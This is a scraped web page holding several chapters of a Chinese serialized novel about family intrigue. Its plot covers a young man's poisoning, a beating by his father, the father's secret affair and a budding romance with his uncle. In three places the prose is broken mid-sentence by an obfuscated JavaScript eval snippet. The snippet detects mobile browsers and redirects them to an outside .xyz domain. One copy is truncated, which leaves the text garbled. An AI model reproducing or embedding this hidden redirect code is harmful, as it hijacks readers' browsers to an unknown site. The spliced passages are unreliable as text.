薪水给够食材备足,一顿早饭便让后厨翻出花来。油条酥亮、包子沁汁、馅饼厚润、肉粥喷香……还有三碟冷盘、三碟小炒、六碟酱菜和一块雪白蓬松的奶油小蛋糕。 此时傅承轩瞥了宁小六一眼,宁小六这位少帅身边的狗腿子顿时意会,乐颠颠地捧出个水晶盘子放在傅念斐手边:“念斐小少爷,这是杜会长从国外购的巧克力、牛奶糖、咖啡糖和什么……呃,什么扁桃仁巧克力太妃糖,您尝尝?” 傅念斐只吃过牛奶糖和巧克力,第一次听说还有太妃糖,他剥掉糖纸塞进嘴里,才发现这太妃糖咬着竟是脆的,嘎吱嘎吱特别香。 他眸子一亮,眼睛立刻弯起来了,坏情绪当即消失无踪:“好吃,帮我谢谢杜会长。” 傅承轩眉梢挑动看他一眼,心道小没良心,憋着心事不跟舅舅张嘴,跟别人道谢时张嘴倒快。 宁小六嘴特快:“诶,念斐小少爷,这可不能谢杜会长。杜会长是生意人,都是拿钱办事儿,买糖的另有其人。” 他说完就朝傅承轩那边死命挤眼睛,傻子都明白买糖的是谁了。 傅念斐抬眸,正对上傅承轩那双静谧无波的灰蓝色眼睛。 傅承轩专注看人的时候最要人命,眼睛仿佛会放电,令人脊背酥酥麻麻的。他自己可能从不觉得,向来想看就看,傅念斐却忍不住耳根一红。 这事儿说来也怪,若是别人送糖,傅念斐自然大大方方道谢,不觉得有什么。 可若是傅承轩买糖,他就能联想到喜糖,觉得太妃糖做喜糖是最好的。 傅承轩送他手表他联想到戒指,送他长衫他联想到嫁衣,跟他同床共枕他能联想到洞房花烛…… 总之无论舅舅做什么,傅念斐都从心眼里美滋滋,觉得高兴。 他端着肉粥坐到傅承轩身边,用脚尖勾了下对方的鞋子,叽叽咕咕道:“小舅舅最好了,谢谢小舅舅。” 傅承轩仍专注地看了一会儿小外甥,随后才移开目光,用鞋子回碰傅念斐脚尖,唇角带笑:“嘴甜。” 12. 12-邀请 早饭没吃完大夫就到了。 对方姓李,是个年近六十瘦小枯干的老头,祖上三代都是御医,当年为报救命之恩投靠宁大帅。若说是大家族的阴私手段,没人比他更清楚。 李大夫被傅承轩一封电报从平城叫来,刚进屋也不见外,先跟傅承轩和傅念斐打了招呼,随后就让旁边的婆子给他来碗肉粥。 三个大包子和一碗肉粥下肚,李大夫这才从风尘仆仆中缓过劲儿来给傅念斐号了个脉。 “这毒……如果我没看错,应当是用在女人身上的。”李大夫表情严肃。 毒? 此话一出,傅念斐立马顿悟,他呆愣着看向傅承轩:“我中毒了?那我娘也是……” 傅承轩看着他没说话。 懂了。 傅念斐闭上眼深吸一口气。 这可是下毒啊,毒死一个人,什么样的深仇大恨才会让一家人相互残杀? 他跟他娘在傅家已经没法更低调了,就连他爹都是外祖父嘴里不成器的废物,何至于此呢? 傅念斐实在想不通。 “是二太太吗?”傅念斐眼眶泛红。 二房总嫌大房碍事儿,傅念斐作为唯一的傅姓男丁,已经声明过很多次自己只想读书,他娘也说过让傅念斐做个大学教授就好,难道二房还觉得不够吗? “二太太和她兄长狼狈为奸,当年要杀你,现在又来杀我娘和我,何必这么费事儿,反正她哥哥是警察局长,干脆面对面一刀捅死我算了!警察也不会拿她怎么样!” 还有外祖父,他知不知道这事儿?他明里暗里管我要娘亲遗产的时候,知道我娘——他亲女儿是被毒死的吗? 傅念斐越说越激动,傅承轩连忙握住小外甥的手腕,轻轻摩挲腕骨安慰:“这事儿还在查,如果真是她,我必定一刀刀活剐了她给你娘陪葬。” 傅承轩揽着傅念斐的肩膀将对方按进怀里,捏着傅念斐的后颈一遍遍安抚,他心说我就怕你这样,所以想了许久要不要告诉你。 说了怕你挂脸,怕你生气难过睡不着觉。要是不说,你已经二十了,将来如何分辨人情冷暖、明枪暗箭呢? 人有本性,都有阴暗面。 家人是人,亲朋好友都是人。 想通这个道理,就什么都不奇怪了。 傅承轩看向李大夫:“念斐的毒严重吗?” 李大夫思索片刻:“这毒女人吃了有碍生育,如果是体弱的女人吃进去,则会伤及根本妨碍寿命。男子吃了倒还好说,不过在子嗣上恐怕艰难些。” 子嗣? 傅承轩蹙眉:“能治吗?” 李大夫:“念斐小少爷还年轻,只要远离毒物多加调养,日常多多强身健体,食疗温补不懈怠,等过个三五年自然就好了。” 三五年虽长,跟人的一生比起来却十分微不足道。虽说傅承轩暗自希望傅念斐不要结婚生子,更不要带着孩子来戳他的心,但身上带毒总归不好,健康长命比什么都强。 傅承轩松了口气,万幸,能治。 李大夫说完便开始写药方和各种食补方子,写完一张傅承轩审阅一张,足足写了十几分钟才写完,然后交给宁小六派人去办。一时间,整个宁雅公馆的佣人们都忙了起来。 傅承轩揉揉傅念斐的后脑勺,低声商量:“要不别回去了?房子是给你买的,早住晚住都是住,你住这儿我也放心。等我得空就教你练武、打靶、骑脚踏车,强身健体,养只小狗小猫陪你玩也行。” 他又说:“李大夫的方子我都看了,你每天杂七杂八要吃的温补东西不少,傅家做不好这些,也不方便让他们做。” 他们还得抓人呢,恐泄密。 傅念斐此时才缓过劲儿来,抱着傅承轩的脖子闷闷道:“小舅舅,我没想生,治不治都行。” 傅承轩沉默一瞬,屈指弹向傅念斐额头:“孩子话。” 傅念斐不敢看他脸色,只管闷头说:“我说真的,我就没想过结婚的事儿,更别说生孩子了……总之我一辈子不婚不娶,小舅舅别烦我就行。” 他打定主意要缠着傅承轩一辈子,但说太过怕遭人烦,只敢含混不清地吐出两句。 随便说两句便有了告白的快活,他埋头傅承轩颈侧,愚弄自己说,只要小舅舅不拒绝,这事儿就算成了。 傅承轩摸摸他的头,灰蓝色的眸子在小外甥看不见的角度里暗含愉悦又万分复杂。 他忍不住说:“小舅舅和你一样。” 傅念斐猛地瞪大眼睛。 一样?什么一样?小舅舅也愿意一辈子不婚不娶跟我住在一起吗? 天呐! 早知他这么答我就该说“总之我一辈子不婚不娶,只跟你睡一张床,小舅舅别烦我就行”! 傅承轩被傅念斐悔恨万分的表情吓了一跳,刚要问他怎么了,一个婆子便风风火火走了进来:“先生,念斐小少爷,门外有位傅先生拜访,说有要事找您。” 婆子说的傅先生正是傅承闲。 昨晚宴会,傅家主给他下达了必须请傅承轩回家吃饭的死命令,事儿办不成不许回家。 他昨晚跟那位焦小姐打得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286106|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火热,原本不想起这么早,但又怕他爹骂他,只能晃里晃荡地过来敷衍一下。 傅承闲身着皮衣戴着墨镜,他这人浪荡、外放、自来熟,一进门就跟偷看他的丫头抛媚眼,吓得人家到处乱窜。 他倒是半点不拘谨,逗完丫头又一路打量宁雅公馆的陈设装点,刚到会客厅就跟傅承轩咂咂嘴。 “可以啊承轩弟弟,这地方不便宜吧,买的还是租的?”他没等傅承轩张嘴就往沙发上一坐,明显不看眼色、不读空气是他的日常习惯。 打从他进来傅念斐便盯着他看,显然已把二房当成仇人了。傅承闲还在打量屋里的西洋摆件,压根没发现。 傅承轩拍拍小外甥手背,示意他放松,随后对傅承闲道:“你怎么来了?” 傅承闲这才想起自己原本的目的,一拍脑门:“嘿哟,你看我这记性。还不是爹,他说云珠姐二七、三七、五七都该办法会,但具体是请和尚还是请道士,办多大规模,该跟你商量商量。还有念斐,他再过两年就该大学毕业了,是留学深造还是有其他安排,也得及时讨论。所以就想让我找你一趟,明日回家里吃个饭,聚聚。” 他说完就冲傅念斐笑:“我说你爹怎么没找见你,原来你在这儿呢。今个儿还回吗?不回的话找人知会你爹一声。” 傅承轩:“他……” “回的。”傅念斐打断傅承轩,朝傅承闲笑了一下道,“等下我跟二舅舅一块儿回去。” 傅承轩的眼神明显不赞同,但傅念斐却已想明白了,自己留在傅家用处更大,如果下毒之人还会针对他,那小舅舅就能拿住那人的把柄了。 - 回傅家吃饭这件事傅承轩答应得很痛快,就连傅承闲都没想到这么容易,他很高兴,心里便又开始惦记玩乐的事。 傅承轩送他俩出门,先是叮嘱傅念斐“昨晚喝多了,别在外边待太久”,又叮嘱他“晚上别吃太油腻,早点睡”。 前一秒让后厨的婆子装好太妃糖和黄油饼干给傅念斐带走,后一秒让宁小六开车送他们,把冰着的荔枝也一同拎着。 傅承闲听得脑瓜子嗡嗡的,他寻思娘还说我跟舅舅不亲近,我舅舅要是对我这样,我也巴不得天天黏着舅舅不走。 傅念斐制止要去开车的宁小六,说:“不用,坐黄包车就行,我想吹吹风。” 傅承轩点点头,把自己的西装外套脱给傅念斐披着:“长衫料子轻薄,在屋里穿还行,黄包车走起来没准会冷,冷就披着点。” 傅念斐接过外套抱得死紧,一步三回头,依依不舍地走了。 13. 13-跪下 傅承闲完成任务一身轻松,回去的路上眉飞色舞一直哼着歌。 傅念斐同这位没心没肺的二舅舅并排坐在黄包车上,心情却半点不轻松,一路没出声。 他心想我得调整好,平时什么样回去还什么样,不能让人看出异样来。 傅承闲是个屁股有钉子的货,他没过多久便心思浮动,用手肘碰了傅念斐一下:“诶,舅舅的好外甥,你都这么大了,不用舅舅亲自陪你回家,对不对?” 傅念斐太了解他这个二舅舅,立刻顺杆爬:“二舅舅是不是有急事?小舅舅明日要来家里吃饭的事情我告诉外祖父就行了,你有事的话就去忙吧。” 他这番话算是说到傅承闲心坎里了:“好外甥,在这家里还是你对舅舅最好。你不知道,我跟朋友约好了去看云柳班在奉城的第一场演出。那个柳班主是个美人也是个妙人,寻常戏子少有他这种见识的。我去平城游玩时曾看过一次他的戏,只可惜没机会畅谈一番,今天倒是有缘了,万万不能错过。” 傅念斐觉得奇怪,二舅舅只谈及女人的时候才会这样连珠炮般夸奖,但戏班班主鲜少有女的,他便问:“柳班主是个女的?这年头到处打仗贼匪当道,女子戏班吃的苦最多,二舅舅你别瞎勾搭,到手了又说人家烦。” 小舅舅就不这样。 傅承闲不满地“嘿”一声:“刚二十的毛头小子你懂什么,两情相愿的事儿什么勾搭不勾搭的,等你再大点你也闲不住……再说了,人家柳班主是个正儿八经的男子,我对男人又没兴趣,算了算了,跟你说这个干什么。” 他笑嘻嘻一拍傅念斐肩膀:“舅舅去忙了,跟家里说我明天再回哈。” “千万别忘傅承轩要来吃饭的事,一定记得告诉你外祖父,否则我又要挨骂。” 傅念斐:“知道了……” 傅家男人嘴皮子上都惯会抹蜜,傅承闲叫停黄包车后又“好外甥、亲外甥”的夸了傅念斐几句,嘱咐他好好办事。 傅念斐左耳进右耳出,看着傅承闲乐颠颠离去,心里却想,比我再大点就闲不住? 小舅舅就是这个年纪,也没见他到处勾搭,可见人和人是不一样的。 他这么想,又忍不住忐忑。 唯有抱紧傅承轩留给他的外套,深吸一口气,嗅到上面清爽的皂味儿才感到安心一些。 小舅舅刚说也不想成婚。 是真不想,还是不能? 当年小舅舅之所以被傅家执行家法,就是因为他在老太太的生辰宴上,被人发现和戏子在祠堂苟且。 那可是祠堂,玷污先祖,得受重罚。 小舅舅说自己是受人污蔑,要跟戏子对质,可隔天戏子便上吊死了,小舅舅也因受伤太重一直昏迷不醒,直到被送走那晚都没来得及说清楚真相。 后来万幸,小舅舅活着,他这才想起来问他娘,小舅舅真跟戏子苟且了? 他娘皱眉叹息半晌才道:你小舅舅就算真喜欢男人,也不会瞎胡来的。 自那天起,傅念斐终于对傅家的复杂有了感知,也终于明白他娘为何总跟他说,好好读书就行,傅家的生意不用你管,有你外祖父和二舅舅呢。 可娘还是死了。 - 傅念斐到家后,先找外祖父说了小舅舅会来吃饭的事。 傅家主彼时正在二房那边,二太太在试新香水,满屋飘香,她只抬头朝傅念斐笑了一下,没怎么说话,傅家主倒是一反常态的热络。 “好好好,等下就让厨房那边拟明日菜色。”傅家主很高兴,问了一堆傅承轩的情况,包括居住环境、爱吃什么、有忌口没有。 他多年来没注意过傅承轩的喜好,今天倒关心起来,连带着对傅念斐这个外孙都更加和蔼,也不问傅云珠的遗产了。 “念斐这几日好好休息,也想想自己将来的打算,等你小舅舅回家吃饭那天,咱们细说。” “知道了外祖父。” 傅念斐离开后二太太又开始掉脸子,她把新香水往梳妆台上重重一放,表情很不高兴:“有什么可细说的?你这是打算把傅家给别人了?那还留我这个二太太干什么,打发我和承闲走了算了,我们去兄长那里讨生活。” 动不动就提兄长,傅家主对这个局长大舅子又敬又怕,也忍不住埋怨:“那你说怎么办?傅家现在这个情况总需要资金周转吧?若是你哥哥能帮这个忙,我也省得如此麻烦!” 二太太下一秒就憋红了眼眶:“你这是什么意思?埋怨我哥哥不帮你吗?他的情况你又不是不知道,匪帮大当家和奉城上上下下的主任处长哪个不得维护打点,能有多少现钱填傅家的窟窿?” 她心道,就算有钱也不能给傅家啊,就你那点做生意的水平,给你个金库也是打水漂,我总不能坑我亲哥哥。 “那你就闭嘴。”傅家主重重哼一声,“那晚你是没看见,承闲没跟你说吗?平城商会的杜会长说傅承轩是他恩公,礼遇有加,如果能攀上这层关系,杜会长必然会拉傅家一把。” 二太太瞥他:“当年傅承轩被傅家赶走,我哥哥又派土匪捅他一刀,你想他拉你一把?不报仇就不错了。” 傅家主不耐:“捅人的土匪已被马贼杀了,死无对证。承轩那孩子顶多恨咱们打他、送他走,哪个长辈不打孩子?都不是大事儿,闹几回,开解开解就好了。念斐还在傅家,他不会不给这个面子。” 他背着手转了两圈:“人家杜会长也说了,当年他被马贼劫持和傅承轩关在一处,恩情也是因此结下的。后来正好赶上宁军剿马贼,这才把他们放出来。杜会长是北方首富,傅承轩有他扶持再有钱都是应该的,什么给马贼做事这种无稽之谈,纯属是你个人猜想,根本不是那回事儿!” “就算你说的有理,也得两手准备。”二太太对大房新添助力这事儿显然不满,她冷哼道,“要我看,承闲有门好亲事也很重要。他如今老大不小了,有个妥帖岳家,人家看在承闲是傅家未来家主的面子上,会好好帮衬的。自家人互帮互助这才靠谱,傅承轩一个外人……你当他真乐意姓傅呢?” 傅家主蹙眉:“我知道你钟意焦家,但这事儿不是那么容易的,焦副行长没那么好相与。” 二太太哼了一声没说话,又开始摆弄起新香水,她心说承闲就得有门好婚事才行,你这个当爹的不上心,我这个做娘的可不能不使劲儿。 - 另一边,傅念斐刚进大房的院门便发现伺候自己的婆子面色紧张。 “周婆婆?您有事儿?” 婆子低声道:“姑爷找您一上午了,您快去看看吧,应当是没少喝,瞧着老大不高兴呢。” 她口中的姑爷便是傅念斐的父亲辛笃学,当年他在傅家资助的学堂里做讲师,打算半工半读考取奉城大学的教师职位。 因他相貌俊秀颇有学识,双亲早亡家中没有负累,人也还算上进踏实,便被傅家主看中配给傅云珠,做了傅家的赘婿。 只可惜人有了靠山反倒懈怠,学问也不进反退,至今都没在奉城大学谋到一官半职,脾气倒是与日俱增。 傅念斐听完婆子的话,没来由的心中忐忑,他敲响辛笃学书房房门:“爹,您找我?” “滚进来!” 听这语气辛笃学气得不轻,可傅念斐实在想不出自己到底哪儿招惹对方了,他推开门又喊了一声“爹”,随后便闻到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286107|182603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股冲天的酒气。没想到话刚出口,辛笃学便怒道一声:“跪下!” 傅念斐更迷茫,他六神无主站在书房正中央,看着他爹道:“爹……怎么了?” 辛笃学咬牙瞪他,仍戴着那副文质彬彬的圆框眼镜,仍是和年轻时一般无二的清瘦身材。 当年的辛老师斯文俊秀,很多女学生喜欢他,傅云珠也是其中之一,可如今的辛笃学却变了。 他盯着傅念斐道:“跪下,给我好好反省,想想自己哪儿错了,明早写好检讨再起来。” 明早? 那就是要跪一整夜? 傅念斐上午正因娘亲中毒而亡的事难受,如今受到他爹如此对待,更是觉得委屈,张口便道:“爹,我什么都没做又何谈做错,为什么要跪着,我不跪!” “不跪?傅承轩一回来你腰杆又硬了是吧!你觉得自己有靠山了是吧!”傅承轩傅承轩又是傅承轩,从昨晚到现在辛笃学净听傅承轩这三个字了,听到这几个字辛笃学就急火攻心,因此他一巴掌便抽了下去! 啪一声! 傅念斐当场愣住。 他皮肉娇贵易红易肿,哭一哭眼睛就成一条缝,蚊子叮一口便好大一团红。 傅承轩捏脸逗他的时候从来不舍得用力,就连挠蚊子包都是轻轻的,反观他爹这一巴掌倒是毫不留情。 傅念斐摸了摸自己脸颊,只觉得面上滚烫,定是肿起来了。 辛笃学借着酒劲儿狠打一巴掌,盯着还在发懵的儿子,没有丝毫后悔,只觉得心中快意! 他心道傅承轩这狗东西,当年只因我跟奉城大学的女教员多说几句话便把我堵在巷子里狠揍!让我成为朋友中的笑柄! 若不是看在傅家小有资产、妻子温顺娴雅、儿子早慧聪颖的份儿上,我早就摆脱傅家了!谁在这儿平遭白眼! 傅承轩不在的这八年,他辛笃学妻贤子孝、良友簇拥,等办成报纸,就是世人口中的辛主编!可如今傅承轩一回来,那些酒友便又开始拿他打趣! 有人说他连妻子出殡都不敢往前站,是怕挨小舅子揍! 有人说以后报社宴请可不敢找妓子相陪,怕辛主编被小舅子打掉大牙影响报社名誉! 还有人说如今傅承轩跟杜会长交好,不如你去求求小舅子,让杜会长帮咱报社提个字得了。 从昨晚到今天,他被嘲笑的抬不起头,只能借酒浇愁!如今,就连自己的亲儿子都不听话了!要跟外人站在一边!简直耻辱! 辛笃学抄起鸡毛掸子就往傅念斐大腿上抽,同时罗列傅念斐罪名:“你没错?!年方二十就沉迷宴饮!耽于享乐!彻夜不归!荒废学业!就你这样还想留学?还想做大学教授?你对得起你娘?” 古人常说师出有名,德行孝悌的高帽一戴上,便是真小人都会装出三分愧疚,更何况是真纯善的傅念斐本人。 傅念斐一听辛笃学提娘、提学业,立刻便没了底气,他忍痛耐心解释:“爹……我没有荒废学业,我日日都有念书,公派留学我定能考上,不会让娘失望的。” 如今是暑假,宴饮享乐的同学大有人在,可这话傅念斐没法说,说了就成狡辩了。 辛笃学见儿子服软、不再顶撞,这才舒坦了,扔掉手中的鸡毛掸子扬长而去。 傅念斐的成绩如何他心中有数,这顿打也不是为了学业,是为杀杀傅念斐的威风,让他知道这个家里到底谁是爹! 无论是对傅念斐不满,还是因傅承轩不快,辛笃学打完儿子总算出了这口恶气。 只是可惜,这位在傅家无甚话语权的赘婿还不知道,傅家主邀了傅承轩明日上门吃饭。他儿子这些伤,只一天是好不了的。 14. 14-秦姨 辛笃学那几下子有的抽在屁股上,有的抽在腿上,傅念斐白皙的皮肉上显露着大块红印子,帮他上药的婆子面露心疼。 “姑爷这几日也不知是怎么了,脾气愈发大,你娘在的时候他还从没打过你呢。” 傅念斐趴在床上蔫蔫地“嗯”了一声:“周婆婆,剩下的我自己来吧,我想自己待会儿。” “成。” 周婆婆走后傅念斐自己上药,这药还是小舅舅留下给他涂眼皮的,说他皮薄易肿,用最好的药才能尽快消肿。 没想到如今竟涂上屁股了。 他涂完药便趴在床上晾着,从枕头底下拿出傅承轩送他的手表边摸边看,喜欢得不得了。他心说我想要的东西不多,看小舅舅的架势是打算一个挨一个全帮我办到。 那我要是说喜欢他呢? 他从么? 一个男人,会为了什么,喜欢上另一个男人呢?二舅舅常夸他那些相好,说这个肥臀那个丰胸,哪个都让他把持不住,说皮肉丰美最可爱…… 难道我也得…… 诶? 小舅舅今天是不是说我瘦来着??? 傅念斐眉毛纠结陷入深思…… 他涂的药会冒凉风儿,没多大会儿他就觉得冷了,盖了个薄被在上面,然后昏昏沉沉睡上了午觉。 这一觉睡到下午一两点,正是家中佣人们最惫懒的时候,傅念斐朦朦胧胧觉得口渴,好似还听到几声敲门声。 “谁?” “是我,秦姨。” 秦姨? 傅念斐一下子清醒了,他一时来不及穿裤子,只能把被子裹牢,又把手表慌忙塞到枕头底下才道:“您进来吧,门没锁,我没来得及穿裤子呢……就不起来开门了。” “没事儿,秦姨又不是没长手。”女子笑着进屋,言语风趣态度大方,显然跟傅念斐很熟稔。 她体态丰腴身着香云纱旗袍,发髻时兴妆容新潮,进屋的时候扬起一阵淡淡清香,傅念斐吸吸鼻子,感觉这味道和在二太太屋里闻到的有点像。 “秦姨怎么来了?”傅念斐说完这话才看到秦夕身后的小不点,惊讶道,“扬业弟弟也来了?” 秦扬业刚五岁,她娘却给他穿西装打领带打扮的像个小大人,小脸一绷看着有趣,傅念斐笑笑:“哥哥桌上有巧克力和太妃糖,你去拿着吃,可好吃了。” 太妃糖? 秦扬业头一回听说。 往日傅云珠母子给他什么东西,他都会先看他娘一眼,秦夕点头他才接,还会说谢谢。这次也不知是怎么了,傅念斐刚说有好吃的,秦扬业就跑到桌子那儿掏了一颗。 他旋开糖纸塞进嘴里,眼前一亮:“好吃!太妃糖好吃!” 说完他又拿了一颗塞嘴里,嘴里满当当塞着还要去抓,他娘看不下去了,上前打他手,语气严厉:“给我一颗一颗吃!像什么样子!当心念斐哥哥笑话你!” 秦扬业梗着脖子不服。 傅念斐趴在床上打圆场:“没关系的秦姨,咱们又不是外人,扬业弟弟喜欢吃就多吃点,小孩子都贪吃,我小时候也这样。” 就因为这个,傅承轩当年总把自己那份糖果饼干留给傅念斐,如今见了面都要备着糖果盒给他带走。 秦夕最后打了秦扬业的手一下当做警告,然后才松开儿子,转坐在傅念斐床边,摸摸他的头:“你这孩子从小就体贴人,云珠有你这样的儿子真是福分,不像扬业,天生犟种。” 傅念斐抿嘴笑笑:“弟弟还小呢,长大就好了。” 秦夕叹气没说话,她看着傅念斐红肿的脸颊眼眶泛红:“你爹手真狠。” “你也别怪周婆婆多嘴,是我来得巧,看她脸上不痛快就多问几句。我跟你娘多年来亲如姐妹,也算是你半个娘亲,你挨打的事儿她正在气头上,不会瞒我的。” 秦夕说完就红着眼睛去掀傅念斐的被子:“快给秦姨看看,打成什么样了?” 傅念斐连忙按住被子:“我光着呢秦姨!不严重,已经涂了药了。” 秦夕看他实在不愿,只得松手:“你这孩子真是长大了,跟秦姨也害臊。你十三的时候我就认识你,什么样我没见过?再说了,秦姨医术再不精也是开医馆出身,至少能看看你涂的药对不对,留疤怎么办?” 她说完这些又继续道:“你爹也真是狠心,云珠这才走几天他就动手打你,还打得这样严重,都得趴着睡觉了,真没良心。这些年他家里家外都有傅家帮衬,比当公益学堂的讲师不知好上多少,他倒天天郁闷来郁闷去的,无病呻吟,活该考不上奉城大学的职位!” 秦夕心直口快说话一针见血,性子跟他娘互补,所以两人才做得多年姐妹。 傅念斐很赞同秦姨说的话,但他不好直接附和说他爹的不是,只能委婉低声道:“奉城大学教职人员考试严苛,能考上的要么学问精深,要么是实践精英,直接被聘请的也都是留过洋的博士,论文很多的。爹太执着,娘劝多了他不高兴,反倒蹉跎太多时间。现在办报纸更适合他,既能做学问又自由,还能交许多朋友纾解郁闷,挺好的。” 秦夕愤愤不平道:“总之你记得,你娘不在了还有秦姨呢,你爹要是再让你受委屈你就找秦姨来!秦姨不是什么有大本事的人,但能开医馆能独自一人把扬业拉扯大,家里不差你这一张嘴。你爹要是对你不好,咱就不要他了,秦姨给你当娘!” “还有。”秦夕低声补充,“你娘若是给你留了东西,你可千万藏好了,别谁要给谁,听懂了吗?” 傅念斐忍不住动容:“谢谢秦姨,我知道了。” 两人又说了一会儿知心话,秦夕嘱咐了傅念斐不少受皮肉伤后的注意事项,随后招手叫秦扬业过来:“念斐呀,反正你一时半会儿也出不去呢,你帮秦姨看会儿孩子。老太太叫我过来号脉,看看女人的病症,不方便带着扬业,晚点儿我就回来。” 傅念斐点点头,自是没有拒绝的道理:“秦姨去吧,扬业在我这儿就行。” 秦夕三令五申警告儿子乖乖听话,又夸了几句傅念斐,然后才走了。 她这一走,傅念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裤子好不容易套上,傅念斐追得一瘸一拐疼也咬牙,好在秦扬业路不熟,兜兜转转还是被他看到影子了。 发现傅念斐追上来的秦扬业吓得当即大叫一声,他随手捡起一块石头朝傅念斐扔来,然后跑得更快了。 傅念斐为了躲石头往墙边一靠,冰凉冷硬的石墙撞在臀腿伤口上,疼得傅念斐连话都说不出,一脑门冷汗。 好在石头没打在他身上,而是磕在一旁的窗框上,吱嘎一声窗户打开,吓了傅念斐一跳,可只一瞬间,傅念斐的心脏便如坠落山谷的巨石般粉身碎骨了。 他听到他爹问:“谁啊?吵死了?” 随后便是他秦姨答:“总归不是乌鸦就是你儿子,他这个年纪正是爱大吵大叫的时候。” “他不是在傅念斐屋里吗?总带他来干什么?跑来跑去的,万一发现我们的事儿怎么办?” “嗤……扬业是小不是傻,你当他不知道呢?” 15.15-家宴 辛笃学闻言懵了:“你……你告诉他了?小孩子嘴巴又不严!他到处说怎么办!出了事儿你负责?!” 负责?呵。 秦夕重新理好散乱的鬓角:“看把你吓得,快吓破胆了吧傅家大姑爷?逗你的,我跟扬业说这个干什么。” “你当我想带他来?”秦夕又道,“傅云珠才死几天,我不带孩子怎么好登你一个鳏夫的门?你这也怕那也怕,刚亲我的时候怎么不怕了?有本事你别叫我来呀。” 辛笃学见秦夕真生气了,这才软和声音主动去抱她:“我这张嘴天生不会哄女人,过去做老师习惯了,一张嘴就像凶人,秦同学多担待,别跟老师一般见识。” 秦夕斜了他一眼,心道你才做过几天老师?刚干半年多就给傅家当姑爷去了,也不知道哪儿来那么大老师瘾。 她微微一笑:“什么老师同学的,这都多少年前的事儿了,你还总提,不嫌害臊。” 丰腴美妇说这话的时候似嗔似喜,眼波流转最是勾人,辛笃学心痒痒,那点儿师德终究重不过□□里的二两。 “秦同学,再让老师亲亲?” 秦夕笑着将他推到一边:“快得了吧,我还得去老太太那儿号脉呢,要不交代不过去。” 傅家是辛笃学的衣食父母,提起这个他才能清醒清醒,重新恢复有所忌惮的赘婿嘴脸:“哦……那就先说正事……” 他问秦夕:“云珠遗产的事儿,念斐跟你提了吗?有没有说东西放在什么地方?” 秦夕:“他娘走后我才见他一面,这孩子不是没脑子的,就算想告诉我也不会立即就说。不过我今天拿话探了一下,我说你娘若是给你留了东西,你可千万藏好了,别谁要给谁,他说知道了。” 辛笃学咬牙:“那就是的确有东西!这孩子,瞒得倒深!” “没娘的孩子,爹也是别人的了,他能留住什么东西?”秦夕嗔他一眼,“你呀……平时对儿子不闻不问,父子俩感情浅得都装不满一杯酒。现在想从人家手里拿东西了,又嫌人家跟你人心隔肚皮,活该。” 辛笃学:“说话真难听。” 秦夕:“云珠姐说话好听,你殉情去。” 辛笃学:“可我偏喜欢你这样的。” 秦夕:“贱人。” 屋里没说几句便又开始笑闹,傅念斐面色苍白胃里翻腾,一瘸一拐地只想快点回屋待着,那块手表的事儿已全然忘在脑后了。 他心道,原来这么多人都在盯着娘的遗产,怪不得秦姨来得这么巧,怪不得秦扬业看自己的眼神一直怪怪的…… 如果秦姨和爹曾是师生关系,那秦姨和娘的偶遇是巧合还是必然?她是开医馆的医女……娘的毒,和她有关吗? 这事儿一想就没有止境,傅念斐几乎彻夜未睡,直到次日,他顶着一双熬红的兔眼,听到院里脚步声频频,似乎全傅家的佣人都忙起来了。 啊,对,小舅舅今天来吃饭。 傅念斐的委屈劲儿一下子全涌上来,眼泪稀里哗啦往外流。靠山驾到,他傅念斐的腰杆又硬了。 - 家宴晚上开始,菜品酒水却从中午就开始准备了,傅家主也算是掏空了半个家底,就为了能搭上杜会长这条大腿。 他心道傅承轩从傅家出去的时候才十八,一个半大孩子当初能懂什么?可就是这么个半大孩子,被杜会长扶持八年后都能买得起那么大一个金丝楠木棺材,还住公馆、开豪车,若是这份机缘能落在他傅茂头上,必定比傅承轩更强。 想抱金大腿,傅承轩就是通天梯,因此傅家主打定主意,今日一定,也必须,跟傅承轩重修旧好,再续父子之缘。 “家里人都齐了吗?”傅家主对下人道,“等下五点就预备开席,找人在大门口盯着,看到承轩的车影儿就来通报。这顿晚饭十分重要,关乎傅家未来财脉,所有人都必须吃上这顿饭。尤其是承闲,屁股长钉子今晚也得钉在家里的凳子上,知道吗?” 下人连忙道:“您放心,已经派人去通知各房了,有在外边儿的也保准给叫回来。” 傅家主这才满意,嗯了一声。 临近五点,各房的人都陆陆续续来了,就连傅老太太都已坐在桌边。 傅家人丁寥寥,无需佣人细数,傅家主打眼一扫便发现人数不对。 “念斐呢?”傅家主皱眉盯向辛笃学,“我不是说了人人都得到吗?念斐和他承轩舅舅关系最好,怎么没来?你儿子人呢?” 辛笃学脸都白了。 他昨日下午打完儿子又跟秦夕鬼混了一番,随后廉睿兄便致电通知他,说已有名家同意出文章在他们报纸首发,主题就写宁大帅入主奉城后,奉城可能会有的新变化。 这主题太好了,时机也好。 奉城那些知名报刊和原来的赵大帅关系不错,和新城主宁大帅便要关系尴尬。 